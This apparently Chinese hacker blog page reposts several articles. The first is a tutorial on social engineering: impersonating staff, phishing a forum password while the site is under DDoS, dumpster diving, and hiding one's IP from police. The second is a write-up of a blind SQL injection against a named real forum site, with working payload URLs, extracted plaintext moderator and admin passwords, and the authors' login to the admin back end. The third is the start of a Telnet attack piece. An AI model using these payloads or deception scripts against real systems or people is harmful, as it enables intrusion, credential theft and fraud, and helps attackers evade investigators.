星期六, 五月 05, 2007

社会工程学三部曲

作者:lizaib 文章来源:邪恶八进制信息安全团队

注意:本文首发红狼安全小组和X.S.T,后由原创作者友情提交到邪恶八进制。原是《黑客X档案》第五期的投稿文章,后来考虑理论性的原因,打算换一种方式来,具体的真实案例攻击就保留了,只修改了少部分便放上来了,不当之处敬请指正!转载请注明原始来源。

大家一定知道超级黑客凯文·米特尼克吧,深为他的社会工程学所折服,美国国防部、五角大楼、中央情报局、北美防空系统……都是他闲庭信步的地方,没有人怀疑他的真实身份,对于他所想获得的信息如鱼得水,这便是社会工程学的魅力。当然,社会工程学不是那么困难难以撑握,本文分为社会工程学—信息刺探、社会工程学—心理学的应用、社会工程学—反查技术等三部曲使大家走入社会工程学的神秘世界。 社会工程学师一般都干了什么呢?恐怕小菜们一定很想知道,是的,他们的目标或许是你的银行账户、私人信息、或是对企业拿取一份商业秘密。不管如何,他们总会设法找到一个切入点,哪怕只需要你的一个名字,他就能越过你所装的最好的防火墙或是杀毒软件,听上去有点恐怖,但事实如此,如果他们开始精心设计一个的陷阱,一切皆有可能。

前言

在前几期的黑客X档案>>有介绍过一些社会工程学的技巧,但是,那是狭义的社会工程学,有的是与社会工程学没有关系,比如利用dirshell扫描出大量的数据库,一旦其中存在Email与QQ,便利用其密码尝试,运气好便可成功获得真实密码,事实上这与心理学有关系,一般而言,18岁以下的人所拥有的密码为1~2个,其它为1~3个。为什么会出现这样的呢?大部分人凡事讲究方便自已,自信自已的信息一直处于安全状态。小菜们一定看到,狭义的社会工程学给人的是不可信的。广义的社会工程学是怎样的呢?说白了便是空手套白狼。它要求的是你不仅知道目标的计算机信息,且必须通过信息收集了解目标弱点,即规则弱点、人为弱点,然后开始构造精心的陷阱让目标交出攻击者所想要的信息。

这里说明一些社会工程学的误区,有的并不能称之为社会工程学,有的小菜别被误导了。比如为了使用findpass找在线管理员的密码,而shutdown掉服务器,迫使管理员登录。请记着,这并不能称之为社会工程学,而是一种蠢方法,虽然shutdown了服务器,你能知晓管理员在线?明天或是后天,你有精力不停的等待么?菜鸟要知晓的是,社会工程学前提是离不开信息刺探,我们更好的方法是便是从筛选的信息将目标一步步引导入自已的控制范围。

不可否认,社会工程学与生活的相关事物存在共通性,比如社交、商业、交易等都能看到社会工程学部分的影子,然而人们无法感觉。即使计算机与Internet相隔,配备高级入侵监测系统,而且也是专家人物维护,但不可忽视的是:每个人,都有弱点!而社会工程学师不但能善用这种弱点为他们服务,更危险的是,这种稍闪即逝的入侵难以察觉。这一部分简而言之使小菜明白狭义的社会工程学与广义的社会工程学的区别。下面将走进的第一部分便是信息刺探……

第一部分:社会工程学—信息刺探

一、善用你身边的信息

尽量利用现有所知道的信息,这些信息将能处理好突发事件,此类信息指的是规章、制度、方法、约定。规章,指的是一个行业的规章,我们可以认为是行规,或是内部约定,比如,货摊A为了抢掉货摊B的生意,故意低压低价格来龚断是不对,违反了不正当经营法了。 所以我们要尽量了解各行各业的之间的此类信息,比如校园,只有领导层内的人员才会拥有一份全校的师生的联系名单,服务行业通常有这样和那样的内部约定,了解此类信息对我们非常有利。

除了我们必须知道那些方法外,还需要的是业内术语。看到这儿,小菜一定会问什么是术语了,它主要有什么用?嗯,业内术语即不同行业之间的”黑话”,比如,我们黑客界的网络钓鱼术语,一般人会认为是到网上去钓鱼。当然,业内术语用处大着了,社会工程学的身份都是经常变换的,假设我们要冒充银行业务员,就必须知道一些压缩贷款、反担保、关联企业……等等一些术语,否则当我们试图拨通一个分行经理的电话,他们就会出现激警,即经理发现你的攻击行为,由此可见术语的重要性。

所以在一个攻击的起始,我们得做一些准备,假设我们的目标是一个数据恢复的企业,我们可以去买一本关于数据恢复的书,熟悉一些术语的概念。顺便伪装成一个访客看看一些员工办室墙上或是桌上的规章制度,如果去他们的垃圾处理场所,总会有一堆废纸什么的,但这里面包含了重要的信息,我们可以称之为垃圾的价值,比如会有一些客户书,员工身份号联系等。现在,小菜们一定明白,任何的信息都有利用的价值。

二、学习侦探的伪装

假设我们获取了目标部分信息,但必须通过对话得到更加敏感的信息,我们不可能直接让对方发现吧,所以我们得先完成身份的伪装。假设一个小菜的目标是某电器分行的销售部,那么我们最好伪装成另一分行的销售人员,而且我们知晓他们公司内部的销售术语,或我们再带一份分行销售报告书,我想对方一定不会怀疑你不是内部人员的。

任何的社会工程学师都会使人认为他是可信任的,友好的,有礼貌的,然而,这都是他们伪装出来的假象。如果要表现出文质彬彬,这会要求我们行为与语气上伪装。社会工程学师有一点比侦探更妙的地方是不需要去往自已嘴上贴胡子,哈哈。所以说,如果小菜想让MM喜欢的话,不妨去模仿她心目中的男孩。

再谈一下伪装的要点,任何情况不不要泄露自身的真实信息。或许我们会碰到一些意外事件,所以,在开始准备的时候,带上一张没有多少余额的手机,用完后就别再用了,这样可免遭怀疑。还有比如通讯账号QQ,永别使用自已的QQ,最好为自已准备一个信封,目标信息拿到后,将对方拖入黑名单。

三、人性的弱点

每个人都有心理弱点,没有人永远没有心理弱点。可以说,此部分是社会工程学重要的部分,他们能够利用人们的信任、乐于助人的愿望和同情心使你上当。那么,我们应该怎样去发现这类弱点呢?很简单,我们只要构造一个精心的问题,冒称他们的同事,设计一个帮助他们解决一个问题,那么,对方便会信任我们了,我们会更轻松获得想要的信息,而且更不容被发现。菜鸟们一定经常有很多问题吧,但他们总是茫目的去找一个人帮助,或是想认一个师父,我有个这样的经验,一个晚上我收了50个徒弟,然而只是开了一个玩笑,我的方法很简单,直接在Google搜索:本人找师父,或在qihoo搜索:找师父。然后帮助他们解决一个问题,两三句话便获取了他们的信任,有的还打算花钱请我,但我告诉他,只是开了一个玩笑,这个实例利用了他们对帮助的人信任。此部分最具危害性,所以我进行分开来讲,请参照社会工程学--心理学应用。

四、组织信息 构造陷阱

假设现在我们通过目标的同事撑握了信息,比如目标的真实姓名、联系方式、作休时间…等等。这还不够的,高明的社会工程学师会把前前后后的信息进行组织、归类、筛选。以构造精心准备的陷阱,这样,可使目标自行走入。我打个比方吧,声明哦,这是我朋友的一个案例,

A:你现在打不开论坛对吗?

B:是的,打开是一片空白

A:那是由于身份认证错误,我是XX论坛管理员,你要把论坛的用户名与密码发送到XX@263.com,以免系统稍后会恢复你的访问。

B:现在吗?

A:是的,我得马上给你恢复,不然我作废账户了。

不一会儿,朋友很顺利得到他在某论论的VIP账户,论坛为什么打不开了,被DDOS了,从这个例子我们可以看出组织信息的重要性,如果B能正确回答第一个问题,A可能会考虑换种方式,这个案例非常的简单,那就是B对计算机方面不了解,害怕账户丢失,一点也不怀疑A就给了密码,而这个密码已乎通用了,所以现在小菜明白前辈们总告诉你不要使用同一个密码,永别把密码告诉第三者。

第二部分:社会工程学—心理学的应用

从前面所说,我们知道人性的弱点在社会工程学中是重要的一部分,实际上,这是一种心理学的应用,是社会工程学的一个分支,本文从心理学角度分析社会工程学师凯文.米特尼克所著《欺骗的艺术》三个典型攻击案例,为大家揭开心理学在社会工程学中的应用。为节省篇幅,我不打算将案例拷贝过来,所以请参照光盘附带的《欺骗的艺术》文档进行阅读。

信誉支票

攻击者需要从国家银行查询一个用户的交易记录,然而,银行不可能答应这样的要求,所以攻击者开始他的动作。第一个电话,攻击者拨通了国家银行的电话,以私人问题顺利从吉姆.安德鲁斯获知内部专业术语。第二个电话,攻击者以信誉支票的客服代表拨通银行开户处,以调查方式获取了他想要的信息。第三个电话,攻击者以国家银行职员拨通信誉支票处,最终知道目标的用户的账户交易记录。以下标有双引号的文字,均为引用凯文.米特尼克的分析与总结。

"我给银行打电话时,第一位年轻的小姐,吉姆,在我询问他们如何向信誉支票确定自己身份时就有所迟疑,她犹豫着,不知道是否应该告诉我"。犹豫给我们传递了一个有效的信号,可以说此时的心理想法完全在于她左脑的判断。左脑主管言语活动(听、说、读、写)、数学运算、逻辑推理等具有连续性、有序性、分析等功能,是进行抽象思维的中枢,所以这个时候我们需要给对方一个可信的理由。我想你一定有过在外借钱的经验,当你试图询问一个陌生的小姐时,她会有点儿犹豫,而如果你告诉她,你是一名导演,在外迷路了,并给她一张导演名片,我想陌生的小姐都不会拒绝,因为小姐确信他是一名导演,名片使她无从怀疑。

"你必须依靠自己的感觉,仔细的倾听马克[受骗者]的说话内容和说话方式"。我们每个人的人生是奠基于两种形式的信息传送上。第一种是内在的传送,那是在内心里的描绘、细语和感受;第二种是外在的传送、包括言词、语气、表情、举止、行为等来与外界接触,这决定了社会工程学是否成功。社会工程学师必须通过外在的传送来筛选最有用的信息,来判断对方的性格,感觉类型,心理特点。各种情绪的反应过程和导演的工作很像。不错,他们为了确实达到戏剧效果,就得掌握住观众的视觉及听觉。如果他要你害怕,就会提高音调,并出奇不意地在银幕上跳出意想不到的画面;如果他要你兴奋,他会利用音乐、灯光,以及会有那种效果的的画面。即使是一个素材,导演也可以弄出一部喜剧或悲剧来,全看他是打算如何在银幕上呈现。如果我们要控制一个人的心智活动,产生生理的行动,我们完全可以模仿斯皮尔博格导演一样灵巧。

"获得公司职员认为无关紧要的信息(实际上它是有用的)"。人人都有一种心理,那就是自已无关紧要的信息随处放着,或许,他们认为很方便。我曾住在校外时,总有一些人让我帮他们去取钱,然而,他们总把密码写在存拆卡上,他们似乎认为别人没有卡就不能取钱,便如果我拿着他的身份证去挂失呢?你经常一定看到QQ上某人的个人资料吧,通常是站点、一段数字、手机、邮件、个性签名,QQ-Zone,这给攻击者很大便利,他们会很快判断你的事业,心理弱点。某天一个陌生人说,我与你是同一个学校(公司),我知道你的名字,请别怀疑,快去更改你的资料吧,最好不要泄露你真实的联系方式,社会工程学师都精于此道。

一美分的手机

无线通讯公司发起了一个大规模的促销活动,只要你登记接受一种资费方式,便可以得到一部全新的手机,只收一美分,然而精明的人知道有很多问题要问清楚。然而攻击者讨厌捆绑资费方式,他开始行动......第一个电话拨往西吉拉德电器连锁店的泰德,谎称是顾客很顺利套取到另一职员姓名威廉.哈德利。第二个电话拨往北广街连锁店的凯蒂,冒称威廉.哈德利使凯蒂信任他是连锁店内部人员,并遵从他的要求将一美分的手机售给泰得.岩西(攻击者)。

"人们会很自然地相信熟悉公司内部的业务流程和专业用语,并声称自己是公司同事的人"。在这一部分,我试图以心理学中的NLP神经语言学来解释,简单说NLP就是研究语言,不论是有声或是无声,对神经的影响。我们的能力是奠基于自我控制神经系统的能力,凯文.米特尼克就是透过神经系统传送特别的信息。你知道社会工程学经常使用的技法便是冒称身份,使对方认可为内部人员。然而以NLP来说,这种技法称之为模仿,NLP的三种形式:信念系统、心智序列、生理状态,这三种形式你并不用花过多时间理解。事实上,NLP是强调行为、内心储忆、生理状态模仿,而社会工程学师冒称身份以及使用专业术语,那是行为上的模仿。如果在行为的模仿无误,别人便不会对你产生丝毫怀疑,由于公司强调的是团队与协作精神,这成为每个职员左右铭,对于同事的请求与帮助都不会怀疑其可信,否则便与公司的团队精神背道而驰,除非对方细心确认。

有必要单独介绍一下NLP内心储记作用,它经由五类感觉器官而测得的,换句话说,我们对周遭的认识,是透过视觉、听觉、触觉、嗅觉、味觉而传送的讯息。所传至脑子的信息就称之为感元,其中以视、听、触感元为主。不同的人感元不同,有些人觉得图画对他们会有较大诱力,另外一些人都具种感觉倾向,内心储记很少在社会工程学中利用,因为这种攻击来去匆匆以保证免遭发现,若想一个星期使人信任你,未为失一个很好的方法。很多人一定有过追女生的经验,你们一定会问她:你喜欢看电影还是听歌?或是喜欢小饰物?假设她说喜欢看电影(视觉型),你可以夜晚放烟花,或是在一堆气球写上我爱你,那么,对方会开始对你产生信任感。你现在一定明白一些家庭不合,假设男的是听觉型,女的视觉型,女的若是问,你爱我吗?若男的说我爱你,女的说我无法感觉你爱我,很显然,他们存在信任的危机,如果男的开着车去她公司送一束鲜花,结果显而易见。

网络故障

鲍比的任务:对斯达伯德造船长办公室电脑进后木马植入。第一个电话,鲍比冒称服务中心艾迪.马丁,谎称网络问题的出现,并套取到计算机端口号。第二个电话,鲍比冒称鲍勃请求厂技术支持封掉端口号。第三个电话,汤姆.狄雷的求助掉入艾迪的陷阱,第四个电话,汤姆完全信任艾迪了,运行了鲍比的木马程序。

"这一次由于帮他解决了问题,令对方心存感激,于是汤姆同意下载一个软件到他的计算机上"。这种心理很多人都存在,因为我们无法质疑对方诚意的帮助,而松懈对攻击者的信任,若不能识别这种伪造的帮助的话。正如凯文.米特尼克所说:那很令人惊讶,基于那些精心构造的请求社会工程师可以轻易地让人们帮他做事。前提是引起基于心理作用的自动回应,依赖于当他们觉得这个打电话的人是盟友时人们心理的捷径。人们建立信任有多种途径,然而他们都是无恶意的有意或是无意地通过交谈与帮助建立信任关系。可社会工程师才不这样想,他可以调查你暂时遇到哪些问题?如果你不经意在论坛或Google讨论组进行求助,他会很轻松帮你解决,否则他可以自行给你制造问题,以期建立信任关系。对于伪帮助式的攻击,我们中国人或是大部人心理都存在这样的弱点,人是善良的,不可能时刻对攻击者保持警惕性,除非个人进行细心验证。

第三部分:社会工程学—反查技术

 什么是反查技术?即反侦查技术。在黑客攻击中,最重要的一部分不是成功侵入主机,而是清除痕迹,不要让管理者发现被侵入及数据被伪造。同理,社会工程学也有这样的概念,那么,我们得清除哪些痕迹以免遭网络0察(以下称之为网警)的发现?这一部分我们从网警角度来看问题,看看他们如何来能否找到社会工程师的蛛丝马迹。或者一句玩笑话:他们无法那么轻松找到一点痕迹。这里我们以案例来讲解,请注意,这是虚拟案例,不当之处,敬请指正。

现场

 数据?>> 数据存储服务部 小张

 小张正忙着登记取出数据的客户,这时内线突然响起。

 小张:你好,数据存储服务部。

 小王:我是数据存储后期服务部小王,我们前台计算机出现故障,呃,我需要你们的需助。

 小张:我可以知道你的员工ID吗?

 小王:嗯,ID是97845。

 小张:我能帮助你什么?

 小王:我们网络出现故障,我需要你把XX企业数据复印一份,然后放在二楼客户接待柜台,我们的人会取的。

 小张:好的,现在身旁还有一大批的事,我马上给你送去。

 一如攻击者所想,他很如愿拿到某企业内部数据,并将其公布到网上。这使该企业受到严重经济损失,他们开始向网警报案。然而,没有一切线索,电话是企业的内线,而那个所谓的小王根本不存在,数据存储服务器更是完好无损,迫不得已,他们开始设法从网上流传的企业数据追查IP来源,然而数据是经过多重路由传输,且经过了加密,案件陷入了绝境。相信小菜们一定有三个疑点:1.攻击者如何知道内线号码?2.攻击者为何有某员工ID?3.攻击者使用什么方法隐藏了IP?这很简单,如果你去医院看过病,一定会注意墙上的主治医师名单,上面标有ID,联系方式,及所在楼层房号,医院的目的在于更佳完善为患者提供服务。同样,数据存储公司也设了这样的名单。然而,这个案例里的小王没有进入数据存储服务公司,而是付了一部分费用给垃圾处理公司,允许他从中寻找一些东西,而攻击者寻找的是一份旧的员工联系名单,旁边也附了内线号码。

  

 IP如何隐藏的呢?我们看看四种方式传输日志:1.直接IP,2.ADSL拨号,3.代理,4,随机路由传输。这里给小菜讲解下,直接IP即拥有公网IP,发表的日志也显示真实的IP,我不推荐这种做法。ADSL上网,ISP会记录下这个IP地址是在哪个特定时间由哪个电话号码上线,你认为这仍然安全吗?代理上网安全么?如果提供代理的主人或是代理服务商与网警妥协,关键是在于网警们有耐心与代理服务商协商。随机路由传输,每次请求传输信息都会透过随机路由进行的每一连串步骤都是经过加密的。此外,在这一连串传输线上的每部电脑都只会知道最邻近的的几台电脑地址,换言之,路由器B只知道路由器A经过它传输网页,而这个传输请求可能又经过路由器C代转。所以,你认为网警能从中找到一丝头绪么?

 接下来我们来了解网警的在干什么?他们的技术能否对抗社会工程学师。如果读者寻找一些关于计算机取证技术方法及工具研究,我想你会找到最主要的信息,那就是他们重心在于入侵监测系统、数据恢复、加密破解、反向工程技术以及计算机取证软件工具的使用。然而,他们忽略了人为的因素,社会工程学师的奇妙之处在于从人、规章寻找致命的漏洞。且现在面对社会工程学师的攻击防护仍然是网络安全课程的一片空白,当这种攻击趋入严重的状态,这成了网络安全专家首要考虑的问题。然而更令人吃惊的是,网警偶而会发现攻击源来自于他们内部。现在有一些媒体神化了网警,比如一次行动网警现场在网吧抓获攻击者,这并没有什么特别之处,而在于那位攻击者没有隐藏IP,使用的是公用电脑,这对于网警来说更容易确定IP源。

行为

 你相信测谎仪么?不,我拒绝相信!说出这类话的只有两类人,一类是心理学家,另一类便是社会工程学师。

 这里,我们开始从典型案例说起,那就是广为人知的警'察抓小偷的故事。我们比较关注的是,警,察依靠什么条件来分析谁最像小偷呢?人群中的小偷如何让自已化为一缕空气?这很简单,一旦监控器里的人符合两个明显特征:贼眉贼眼、东张西望,他们以此来判断。小菜们一定碰到过所谓的算命师,他们有种不凡的能力便是,从你的衣着、行为、言语判断你从事何种工作,遇到哪种烦恼。不错,小菜们一定能猜到我想说的:行为能反映人的状态。 

 

 OK,现在我们来谈谈现实与网络里的人的行为。从前面说知,行为能反映人,一旦我们将行为改变呢?北方人操起南方人的口气,不仅衣着举止投足都是一个活生生的南方人,你认为可能吗?当然能,小菜们一定也会列举一些刘德华、张学友等等N多演员,社会工程学里的“伪装”在明星的眼中是“演技”的说法,“演技”人人都会,一旦经过简单的培训,所表现的行为能躲过人的眼睛,小菜们一定认为不可思议,下面给你们一个作业,很简单,和家里人开一个玩笑。模仿你父亲的说话方式给你的妈妈打一个电话,至于目的是什么便自已想了。是的,这稍微会有些难度,那就是口音伪装,社会工程学师才不会在意,随便在网上下载一种变声软件,将所说的话经过变声软件转换输出。嗯?社会工程学师常用的软件或是道具是什么呢?小菜一定这样问,这很简单,只要社会工程学师手上有某物体,他们便会设法利用。

 最后一个要求便是心理素质,测谎议依据你的说话声音音调以及生理状态作为判断条件,当我们以测谎仪程序的漏洞来测试时,便会出现错误的结果,为什么杀人犯偶尔无法通过测谎仪呢?他们的心情处于极度紧张状态,每一次的回答绝对会打乱他们的心境。社会工程学师在这一方面具有较强的心理素质,若网警找不到一丝证据,主动权仍在于他的手上。

 网络世界的人又是什么样的呢?小菜肯定为想找一位技术高超的师父来学习,可是只能看见他们在网络里表现非凡的才能,却无法找到他们的联系方式,幸运的一点可能还会被拒之门外,看完本部分开始和高手们开一个小小的玩笑吧。关于“高手”一词,我们得从金庸的武侠名著说起,大师级以上的高手一般会有独门功夫,中级的都设法争夺武林盟主,低纸以下的都是配角了(菜鸟们千万别丢砖头给大菜鸟了),简单的举例大家都明白高手是什么概念了,中级的一般都会留下名号,不然江湖里的人不知道那就太枉了,大师级的呢一般都是经过N年后故事来传播的,至于菜鸟级的嘛,先买<<黑客X档案>>真经的话3年后就能达到中级,再N年就能达到大师级了,然后....呵,扯远了。

  

 武侠里的生活与现实相关,而现实的生活又与网络相关,或说他们有所区别,那只是因为所处的环境不同,但决定性的因素还是人。接下来我们通过几步简单的手法,来一个高手与菜鸟的游戏。准备工作:IM(QQ、MSN、Gtalk)、火狐浏览器(防止一些放马的站点)

 第一步:寻找目标。这可不能瞎找哦,说话牛头不对马嘴的很快就会被对方踢进黑名单的。小菜可以从这里入手:比如黑X里的作者、论坛、博客,或者一些以原创类性质的站点。

 第二步:行为分析。这很简单,从目标的作品与言论看出技术水平,以及心理状态,这决定了虽然不能谈论技术但可以成为朋友。

 第三步:直捣黄龙。直接去加为好友,小菜认为有点难度,不是的哦,非常的简单。如果你以杂志上作者名放到QQ寻找好友的一个以昵称寻找好友的功能,比如我们拿"旭方"来寻找,接下来估计哥们得揍我了(小菜问:旭方是什么?嘿嘿,翻翻后面的几期杂志就明白了)。接下来是论坛,这更简单了,符合金庸的中级侠士定义了,一般他们作品都会留下邮箱、博客,如果点击论坛个人资料,也会看到QQ的,没有?那打开博客来看东西吧,咦?只有几篇看不懂的文章与友情链接嘛,骗人!小菜大骂。如果我们仔细一点,QQ联系仍躲在暗处哦,友情链接打开看看吧,正巧有他的一个哥们留下联系方式了,于是我们一个简单的冒称便弄到目标Q号了。

 第四步:复制身份:这里是关键了,有的可是设置了身份验证的,首先利用QQ寻找好友的功能把号码填入,查看个人资料。留心他们的个性签名与说明,如果有正在找工作,小菜就把身份改成大企业,如果有的是专于技术,小菜就把身份改成xx工程师....以此类推,成功率满高啦,被拒绝了估计人品有问题了。^-^

 好啦,行为分析虽小,但五脏俱全。而且偶的Q号可以用上面的方法找到,透露下,菜鸟们也能直接在书上找到黑X编辑的Q号,至于怎么找嘛....(sagi:你敢说出来,这次稿费别想拿了,哈哈。。。)说了这么多,反侦查技术也包含在其中了,攻击者的行为该如何进行伪装。

痕迹

 网络里,能泄露你的隐私主要是:论坛、博客、IM(即QQ、MSN、Gtalk),当然,社会工程学师的一切注册信息都是伪造的,因为任何一丝敏感信息都会给网警一个切入点。至于侵入服务器之类的,他们有时宁愿打一个电话套取密码,也不愿用侵入的动作在主机留下太多的日志,这增加了取证的难度。对这种稍闪即逝的攻击,能留下的痕迹少之又少,在未来的几年,调查取证仍是一个难以解决的问题。

 反侦查,后门问题。既然侵入主机会留下后门,社会工程学师的攻击不会留有后门吗?答案是确定的。那些后门偶尔会是很简单,他们会在暗处看事态的发展,偶尔会介入制造动作打乱方案。

利用最基本的SQL注入渗透BBSXP官方网站的台后管理

利用最基本的SQL注入渗透BBSXP官方网站的台后管理

漏洞分析

序:

有一部电影的名字叫着《全职杀手》,剧中的男主角托尔,我非常喜欢他的个性!

他非常的cool,i like!呵呵,不知道你看过这部电影没有?

不过,我今天要为大家讲解的故事发现在网络当中.这次是一次非常,常见的sql渗透攻击.也是最基础的.

过程如下:

1.找出漏洞并分析漏洞.

2.利用漏洞,得到前台区长密码.

3.利用漏洞,得到后台密码.

4.添加公告,闪人!

开始工作:

到bbsxp官方网站下载最新的bbsxp。

第一步:找出漏洞,并分析漏洞.这个漏洞存在于用户添加收藏功能中 相应的asp文件:favorites.asp

//*************************源代码***************************************************//

<%

if request.cookies("username")="" then

error("

您还还未登陆社区")

end if

select case request("menu")

case "add"

if request.servervariables("request_method")="post" then

url=request("url")

else

url=request.servervariables("http_referer")

end if

conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")")

error2("已经添加到网络收藏夹!")

case "del"

conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")

end select

//***************************后面的无用代码略掉********************************//

看到代码了,首先要注册使用本功能.

然后在这个asp文件中提交的参数有:menu,id就这两个值.

大家看看,当提交的menu=del的时候。哈哈!调用的是什么?就是它,它就有漏洞。漏洞在哪里?

conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")

提交的id值没有过滤直接加入到sql语句中了。

攻击演示

第二步,利用漏洞,得到前台管理员密码.

接到上面的来。我们测试一下这个漏洞是不是存在.

自己先添加一个收藏地址进去.得到收藏的id号(我们得到的是576)。

在ie中提交.

http://bbs.yuzi.net/favorites.asp?menu=del&id=576 and 1=1

提交到sql中,实际上就是:

conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1")

不用管那个request.cookies("username").他直接就等于你进来的用户名.

提交后,发现我们收藏的文件被del了。证明有这个漏洞,没有打上补丁。

现在我找到漏洞了,呵呵~!点支烟吧!!打开数据库查看数据库结构。

保存数据库的用户名字段为:username 密码字段为:userpass(注:密码是明码,没有经过任何加密)

我们现在就来得到一个区长的密码吧。在首页看到区长的名字有一个叫:kongweb的.

提交http://bbs.yuzi.net/favorites.asp?menu=del&;id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)

呵呵,提交到sql中,又是什么呢?

conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")

对sql语句了解的战友们都知道,当where条件后面为真的情况下,才会执行这条语句!

执行这条语句的结果就是del一条自己的收藏地址,那么我们的

1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")

如果为真的话就del了id为576的收藏地址.

看一下。这条语句,当用户名是kongweb,当密码长度为5的时候,就有一条记录返回。

count(*)的意思就是返回满足条件的记录总数,刚好为1条。也就是说等式正立。

当然不成功,是不会del了收藏地址的。

最后我们改变长度值. 结果出来了当长度等于9的时候。del了收藏地址。

证明kongweb这个区长的密码为:9位.

好了,我们开工吧, 我们来破他的第一位密码。不过我们在先破密码的时候,要多加点收藏地址。

因为正确一个就会del一个收藏地址。

采用提交http://..../favorites.asp?menu=del&;id=567 and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=a)

这里说一个mid函数的用法:

mid(字符串,起始位置,长度) 这是一个取字符串中特定位置,特定长度的一个函数.

我们mid(userpass,1,1)=a表示取出密码的第一位看是不是a 注:一定要加上单引号不错会出错.

本来我打算用我写的破解程序的来直接破解的,不过我们连到他的bbs网站上特别的慢。也不知道为什么。

所以,程序半天都跑不出来。也就只有手工猜了.

第一位密码几分种后才猜出来。

当我们提交http://..../favorites.asp?menu=del&;id=588 and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=k) 的时候,我们del了,收藏地址id为588的记录.

在ie中没有看到那条记录了。证明成功了。好,现在换id值,取第二位.

http://..../favorites.asp?menu=del&id=589 and 1=(select count(*) from [user] where username=kongweb and mid(userpass,2,1)=d)

就这样重复的提交和修改,最后得出密码是:kdjkdjkdj

这里来介绍一下简单的方法,可以用取字符asc码的办法缩小范围的。

http://..... and 1=(select count(*) from [user] where username=kongweb and asc(mid(userpass,1,1))>100)

如果成立就del收藏.证明第一个字符的asc码大于100。

相反,你也可以这样测试:..asc(mid(userpass,1,1))<105

如果正确,那么这个字符的asc码就是:100-105之间了。最后确定,比如:当asc(mid(userpass,1,1))=103

如果del了收藏,就得到这个字符的asc码了。再用相应的工具转成e文母就ok了。[我写了有这样的程序,要的朋友请与我联系]

这里没有用这种方法,是因为这里要添加太多的收藏地址才行。因为用范围去比较的话,正立的机会很大,当成立就会del收藏的。所以我们还是一位一位的取吧。

添加收藏也慢得要死。

好了,看来第二步的任务已经完成了。我们得到了区长:kongweb 密码:kdjkdjkdj

第三步:得到后台管理密码;

看一下他的库结构,发现了clubconfig这个表中有一个字段叫:adminpassword是用来保存密码字段的.并且也是明密保存的.

我们要的就是他。我们就要取到这个字段的值.

这个库中一般都就只有一条记录。所以他的count(*) 也就只有一条.

再次利用我们第二步的漏洞.进行猜解.

一样的办法。得到后台密码长度为:9位.

http://bbs.yuzi.net/favorites.asp?menu=del&id=590 and 1=(select count(*) from [clubconfig] where len(adminpassword)=9)

刚好正确。

想到了,刚才前台的密码也是9位。不会前台和后台的密码相同吧,测试一下。结果不正确。和前台的密码不一样。也只有慢慢的猜了。

猜第一位:

http://bbs.yuzi.net/favorites.asp?menu=del&id=591 and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)=b)

ok。第一位出来了。

http://bbs.yuzi.net/favorites.asp?menu=del&id=592 and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)=b)

ok.第二位也出来了。前两位是bb.

呵呵,你的社会工程学,学得怎么样啊??联想一下。我们想到了bbs呵呵,我们想到前三位可能是bbs试试吧!

http://bbs.yuzi.net/favorites.asp?menu=del&id=593 and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)=s)

太对了。再发挥你的社会工程学方面的功能。又想到了bbsxp因为他是的网站开发的产品嘛。一般人都是这样的。试试。

现在我们用left函数取前5位

说明一个函数:left(字符串,长度)就是从字符串第一位开始,取长度个值

http://bbs.yuzi.net/favorites.asp?menu=del&id=594 and 1=(select count(*) from [clubconfig] where left(adminpassword,5)=bbsxp)

又对了。呵呵,还有四位,想不出来了。我们又破到了两位.

前七位就是:bbsxpco还有两位了。想一下。co加两位什么好呢?呵呵,社会工程学,学得没有别人好啊。

兄弟们都想了好久,最后想到了cool试试吧!!!

最了,最后居然对了。就是cool密码就是:bbsxpcool

http://bbs.yuzi.net/favorites.asp?menu=del&id=598 and 1=(select count(*) from [clubconfig] where adminpassword=bbsxpcool)

现在有前台的账号,和后台的密码。进去发布公告吧!

第四步:发布公告.

进入后台我们发布了记他注意脚本安全的公告,然后闪人!

结束句:

前段时间测试动网官方论坛,也一样的有漏洞,今天测试bbsxp还有这么低级的错误,我们在这里先向我们入侵过的动网,以及bbsxp道歉!

我们并不是恶意的攻击,我们只是为了网络更加安全,测试了一下你们的论坛!希望你们以后会写得更好!

我们也一样会努力认真的再次对你们的论坛进行测试的。

利用“dbo”获得SQL管理权限和系统权限

无法查看这则摘要。请 点击此处查看博文。

黑客技巧系列之基于Telnet协议的攻击

黑客技巧系列之基于Telnet协议的攻击

⒈Telnet

⑴虚拟终端

Telnet的魔力在于它在两个远隔千里的主机之间建立起了一条ASCII终端连接,其中成功地使用了虚拟终端的技术。

一个虚拟终端至少在表现形式上等同于两台机器之间的一个串行的硬连线式连接。

⑵Telnet的安全性历史

在一些安全性报告中多次交Telnet的问题列上黑名单。Telnet的安全性问题种类繁多,其中很大一部分漏洞都是由于编程错误造成的。然而,编程错误并不是Telnet频繁出现于安全性报告的唯一根据。

ftp://ftp.uwsg.indiana.edu/pub/security/cert/cert_advisories/ca-89:03.telnet.breakin.warning

ftp://info.cert.prg/pub/cert_advisories/ca_91%3a02a.sunod.telnetd.vulnerability

ftp://info.cert.prg/pub/cert_advisories/ca_91%3a11.ultrix.lat-telnet.gateway.vulnerability

⑶这类攻击已经不再有效了么?

错!产生这种观点主要原因是缺乏常识。我们在前面所描述的环境选项攻击,对很多系统还是很有效的。尽管关于这种攻击的报告在Internet上随处可见,此类事件还是屡有发生。

⑷以Telnet为武器

Telnet是一种很有趣的协议。发前所述,通过使用Telnet,你可以学到很多东西。例如,你可以判断当前运行的操作系统版本,多数UNIX系统都会在连接时报告这类消息。在不只一家权威机构的报告中都提到过各种各样的扫描程序,它们以在连接辨别出系统的类型,SATAN 就是其中之一。通过攻击下面所列端口中的任意一个都可以识别操作系统的类型:

端口21:FTP

端口23:Telnet

端口25:Mail

端口70:Gopher

端口80:Http

